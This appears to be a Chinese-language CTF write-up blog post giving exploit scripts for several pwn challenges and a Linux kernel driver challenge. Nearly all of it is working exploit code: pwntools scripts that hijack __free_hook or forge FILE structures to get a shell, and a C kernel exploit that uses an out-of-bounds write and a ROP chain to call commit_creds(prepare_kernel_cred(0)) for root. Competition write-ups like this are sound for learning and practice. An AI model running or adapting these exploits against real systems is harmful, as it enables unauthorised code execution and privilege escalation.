整体来说,在各个考的知识点里面还是不难的,就算逆不出来,gdb硬调就行了 附件
随便打打,打完太湖杯,到处玩一玩,放松下
babypwn
1 | from pwn import* |
2 | def menu(ch): |
3 | p.sendlineafter('choice:',str(ch)) |
4 | def init(): |
5 | menu(1) |
6 | def create(): |
7 | menu(2) |
8 | def new(size): |
9 | menu(3) |
10 | p.sendlineafter('size:',str(size)) |
11 | def Set(content): |
12 | menu(4) |
13 | p.sendafter('content:',content) |
14 | def show(): |
15 | menu(5) |
16 | def size(): |
17 | menu(6) |
18 | p = process('./main') |
19 | elf =ELF('./main') |
20 | libc =ELF('./libc-2.23.so') |
21 | context.log_level = 'DEBUG' |
22 | init() |
23 | create() |
24 | init() |
25 | show() |
26 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x68 |
27 | log.info('LIBC:\t' + hex(libc_base)) |
28 | create() |
29 | new(0x10) |
30 | show() |
31 | p.recvuntil('show:\n') |
32 | p.recv(8) |
33 | heap = u64(p.recv(8)) |
34 | log.info('HEAP:\t' + hex(heap)) |
35 | new(0x100) |
36 | create() |
37 | Set('\x00'*0x10 + p64(libc_base + libc.sym['free']) + p64(0x21) + p64(heap) + p64(libc_base + libc.sym['__free_hook'])) |
38 | Set(p64(libc_base + 0xF1207)) |
39 | size() |
40 | p.interactive() |
Garden
1 | from pwn import* |
2 | #context.log_level = 'DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('>> ',str(ch)) |
5 | def new(idx,content): |
6 | menu(1) |
7 | p.sendlineafter('index?',str(idx)) |
8 | p.sendafter('name?',content) |
9 | def free(index): |
10 | menu(2) |
11 | p.sendlineafter('index?',str(index)) |
12 | def show(index): |
13 | menu(3) |
14 | p.sendlineafter('index?',str(index)) |
15 | def gift(index): |
16 | menu(5) |
17 | p.sendlineafter('steal?',str(index)) |
18 | p = process('./main') |
19 | p = remote('8.131.69.237',32452) |
20 | libc =ELF('./libc-2.29.so') |
21 | for i in range(9): |
22 | new(i,'FMYY') |
23 | for i in range(9): |
24 | free(8 - i) |
25 | for i in range(7): |
26 | new(i,'FMYY') |
27 | new(7,'\xF0') |
28 | show(7) |
29 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x1C0 - 0x100 |
30 | log.info('LIBC:\t' + hex(libc_base)) |
31 | new(8,'FMYY') |
32 | |
33 | for i in range(7): |
34 | free(6 - i) |
35 | free(7) |
36 | gift(8) |
37 | for i in range(7): |
38 | new(i,'FMYY') |
39 | menu(6) |
40 | new(7,'\x00'*0xD0 + p64(0) + p64(0x111) + '\x00'*0x20) |
41 | free(6) |
42 | free(8) |
43 | free(7) |
44 | new(7,'\x00'*0xD0 + p64(0) + p64(0x111) + p64(libc_base + libc.sym['__free_hook'])) |
45 | new(8,'/bin/sh\x00') |
46 | new(6,p64(libc_base + libc.sym['system'])) |
47 | free(8) |
48 | p.interactive() |
影流
1 | from pwn import* |
2 | context.log_level = 'DEBUG' |
3 | p = process('./main') |
4 | p = remote('112.126.71.170',45123) |
5 | elf =ELF('./main') |
6 | libc =ELF('./libc-2.23.so') |
7 | p.sendline('1') |
8 | sleep(0.1) |
9 | p.sendline('2') |
10 | sleep(0.1) |
11 | p.sendline('0') |
12 | sleep(0.1) |
13 | p.sendline('3') |
14 | sleep(0.1) |
15 | p.sendline('0') |
16 | sleep(0.1) |
17 | p.sendline(p64(0x60203D)) |
18 | sleep(0.1) |
19 | p.sendline('1') |
20 | sleep(0.1) |
21 | p.sendline('1') |
22 | sleep(0.1) |
23 | p.sendline('3') |
24 | sleep(0.1) |
25 | p.sendline('2') |
26 | sleep(0.1) |
27 | p.send('\x00'*0x13 + p64(elf.got['free']) + p64(0x602060)) |
28 | sleep(0.1) |
29 | p.sendline('4') |
30 | sleep(0.1) |
31 | p.sendline('0') |
32 | sleep(0.1) |
33 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['free'] |
34 | log.info('LIBC:\t' + hex(libc_base)) |
35 | p.sendline('3') |
36 | sleep(0.1) |
37 | p.sendline('3') |
38 | sleep(0.1) |
39 | p.sendline('1') |
40 | sleep(0.1) |
41 | p.sendline(p64(libc_base + libc.sym['__free_hook']) + p64(0x602070)) |
42 | sleep(0.1) |
43 | p.sendline('3') |
44 | sleep(0.1) |
45 | p.sendline('0') |
46 | sleep(0.1) |
47 | p.sendline(p64(libc_base + libc.sym['system'])) |
48 | sleep(0.1) |
49 | p.sendline('3') |
50 | sleep(0.1) |
51 | p.sendline('1') |
52 | sleep(0.1) |
53 | p.sendline('/bin/bash') |
54 | sleep(0.1) |
55 | p.sendline('2') |
56 | sleep(0.1) |
57 | p.sendline('1') |
58 | sleep(0.1) |
59 | p.interactive() |
ba_zui_bi_shang
1 | from pwn import* |
2 | def S(ch): |
3 | p.sendlineafter('>',str(ch)) |
4 | def alloc(size,content): |
5 | S(1) |
6 | S(size) |
7 | p.sendafter('>',content) |
8 | def free(): |
9 | S(2) |
10 | |
11 | def mallopt(param,n): |
12 | S(3) |
13 | S(param) |
14 | S(n) |
15 | def gift(size,content): |
16 | S(4) |
17 | S(size) |
18 | p.sendafter('>',content) |
19 | p = process('./main') |
20 | libc =ELF('./libc-2.23.so') |
21 | p.recvuntil('Your Gift : ') |
22 | libc_base = int(p.recv(14),16) - libc.sym['puts'] |
23 | log.info('LIBC:\t' + hex(libc_base)) |
24 | S(0x4FF) |
25 | S('FMYY') |
26 | alloc(0x18,'FMYY') |
27 | free() |
28 | alloc(0x18,'FMYY') |
29 | mallopt(1,7) |
30 | mallopt(1,0x78) |
31 | gift(0x4FF,'\x78') |
32 | IO_list_all = libc_base + libc.sym['_IO_list_all'] |
33 | IO_str_jumps = libc_base +libc.symbols['_IO_file_jumps'] + 0xC0 |
34 | fake_IO = p64(0) + p64(0) |
35 | fake_IO += p64(0) + p64(0) |
36 | fake_IO += p64(0) + p64(1) |
37 | fake_IO += p64(0) + p64(libc_base+libc.search('/bin/sh').next()) |
38 | fake_IO = fake_IO.ljust(0xD8,'\x00') |
39 | fake_IO += p64(IO_str_jumps - 8) |
40 | fake_IO += p64(0) + p64(libc_base + libc.sym['system']) |
41 | |
42 | gift(0x470,fake_IO) |
43 | gift(0x410,'\x00'*8 + p64(libc_base + libc.sym['__malloc_hook'] + 1400 + 0x10)) |
44 | S(5) |
45 | p.interactive() |
Beauty_Of_ChangChun
简单的利用small bin和 tcache的任意写,知道思路,半个小时就能写出来exp,有点个人问题,这里就不放出来了
babydev
mychrdev_unlocked_ioctl
1 | unsigned int64 mychrdev_unlocked_ioctl(int64 fd, int cmd, int64 user_ptr) |
2 | { |
3 | process_name = (const char *)(string + 4); |
4 | memcpy($rsp+0x4, process_name ,strlen(process_name) + 1); |
5 | var_2 = *(_QWORD *)(mydata + 0x10008); |
6 | var_1 = *(_DWORD *)(mydata + 0x10000); |
7 | *($rsp + 0x20) = mydata; |
8 | *($rsp + 0x14) = 0x10000 - var_2; |
9 | *($rsp + 0x18) = (var_2 - var_1)&0xFFFFFFFF; |
10 | copy_to_user(user_ptr, ($rsp+0x0), 0x28LL); |
11 | } |
取了当前运行的程序的名字放入栈上, 然后把栈上的数据传给用户
从*($rsp + 0x20) = mydata; 和栈上残留信息能够拿到栈地址和全局变量 mydata指针的地址
mychrdev_write
1 | signed int64 mychrdev_write(int64 fd, int64 user_ptr, int64 nbytes, int64 *($rsp + 0x70)) |
2 | { |
3 | var_1 = *($rsp + 0x70); |
4 | if ( var_1 > 0xFFFFLL && var_1 >= *(mydata + 0x10008)) |
5 | return false; |
6 | if ((var_1 + nbytes) > 0x10000 ) |
7 | nbytes = (-(short int)var_1)&0xFFFF; |
8 | if ( copy_from_user(mydata + *(mydata + 0x10000) + var_1, user_ptr, nbytes) ) |
9 | return false; |
10 | *($rsp + 0x70) += nbytes; |
11 | *(mydata + 0x10008) += nbytes; |
mychrdev_llseek
可以设置read和write的第四个参数指针的值,即前面$rsp+0x70处的数值
漏洞
漏洞点在于nbytes = (-(short int)var_1)&0xFFFF;虽然判断总大小越界
1 | .text:00000000000002B6 mov ebx, 10000h |
2 | .text:00000000000002BB sub rbx, rdx |
3 | .text:00000000000002BE movzx ebx, bx |
edx则是llseek设置的值,如果等于0x10001,那么sub rbx,rdx之后,则rbx=0xFFFFFFFFFFFFFFFF,那么之后作为nbytes=0xFFFF,而偏移则是从0x10001起始
经过此操作之后,copy_from_user依旧能够执行,之后越界覆盖0x10000和0x10008位置的数值,通过偏移计算,之后则会实现任意写,qemu执行又开启了smep保护,所以不能直接ret2usr,因此用最朴素的ROP方法
Exploit
1 | // gcc exp.c -o exp -masm=intel -static |
2 |
|
3 |
|
4 |
|
5 |
|
6 |
|
7 |
|
8 |
|
9 |
|
10 |
|
11 |
|
12 |
|
13 |
|
14 |
|
15 |
|
16 |
|
17 |
|
18 | size_t commit_creds = 0xFFFFFFFF8108D340, prepare_kernel_cred = 0xFFFFFFFF8108D690; |
19 | size_t user_cs, user_ss, user_rflags, user_sp; |
20 | size_t data[0x4000]; |
21 | size_t mydata; |
22 | size_t stack; |
23 | void save_status() |
24 | { |
25 | __asm__("mov user_cs, cs;" |
26 | "mov user_ss, ss;" |
27 | "mov user_sp, rsp;" |
28 | "pushf;" |
29 | "pop user_rflags;" |
30 | ); |
31 | puts("[*]Status Has Been Saved."); |
32 | } |
33 | size_t find_symbols() |
34 | { |
35 | FILE* kallsyms_fd = fopen("/proc/kallsyms", "r"); |
36 | |
37 | if(kallsyms_fd < 0) |
38 | { |
39 | puts("[*]open kallsyms error!"); |
40 | exit(0); |
41 | } |
42 | |
43 | char buf[0x30] = {0}; |
44 | while(fgets(buf, 0x30, kallsyms_fd)) |
45 | { |
46 | if(commit_creds & prepare_kernel_cred) |
47 | return 0; |
48 | |
49 | if(strstr(buf, "commit_creds") && !commit_creds) |
50 | { |
51 | char hex[20] = {0}; |
52 | strncpy(hex, buf, 16); |
53 | sscanf(hex, "%llx", &commit_creds); |
54 | printf("Commit_Creds: %p\n", commit_creds); |
55 | } |
56 | |
57 | if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) |
58 | { |
59 | char hex[20] = {0}; |
60 | strncpy(hex, buf, 16); |
61 | sscanf(hex, "%llx", &prepare_kernel_cred); |
62 | printf("Prepare_Kernel_Cred: %p\n", prepare_kernel_cred); |
63 | } |
64 | } |
65 | |
66 | if(!(prepare_kernel_cred & commit_creds)) |
67 | { |
68 | puts("[*]Error!"); |
69 | exit(0); |
70 | } |
71 | |
72 | } |
73 | void get_root() |
74 | { |
75 | char* (*pkc)(int) = prepare_kernel_cred; |
76 | void (*cc)(char*) = commit_creds; |
77 | (*cc)((*pkc)(0)); |
78 | } |
79 | |
80 | void get_shell() |
81 | { |
82 | system("/bin/sh"); |
83 | } |
84 | |
85 | int main() |
86 | { |
87 | save_status(); |
88 | signal(SIGSEGV, get_shell); |
89 | signal(SIGTRAP, get_shell); |
90 | int fd = open("/dev/mychrdev",O_WRONLY); |
91 | ioctl(fd,0x1111,data); |
92 | mydata = data[4]; |
93 | stack = (data[2] | 0xFFFFC90000000000) - 0x10; |
94 | printf("[+] mydata at: %p\n",mydata); |
95 | printf("[+] Stack at: %p\n",stack); |
96 | write(fd,data,0xF000); |
97 | lseek64(fd,0x100,0); |
98 | write(fd,data,0x10000); |
99 | lseek64(fd,0x10001,0); |
100 | data[0] = stack - mydata; |
101 | data[1] = stack - mydata + 0x10000; |
102 | write(fd,(char*)data+1,0x10000); |
103 | size_t off = stack&0xFF; |
104 | lseek64(fd,off,0); |
105 | int i = 0; |
106 | data[i++] = pop_rdi_ret; |
107 | data[i++] = 0; |
108 | data[i++] = prepare_kernel_cred; |
109 | data[i++] = xchg_rax_rdi; |
110 | data[i++] = commit_creds; |
111 | data[i++] = swapgs_popfq_ret; // swapgs; popfq; ret |
112 | data[i++] = 0; // rflags |
113 | data[i++] = 0; |
114 | data[i++] = iretq; // iretq; ret; |
115 | data[i++] = (size_t)get_shell; // rip |
116 | |
117 | data[i++] = user_cs; // cs |
118 | data[i++] = user_rflags; // rflags |
119 | data[i++] = user_sp; // rsp |
120 | data[i++] = user_ss; // ss |
121 | write(fd,data,0x100); |
122 | } |
参考Nu1L战队的exp改的,然后自己调试了下,太久没做Kernel题,遇到LKM也是懵的了,顺便复习了一下Kernel的基础知识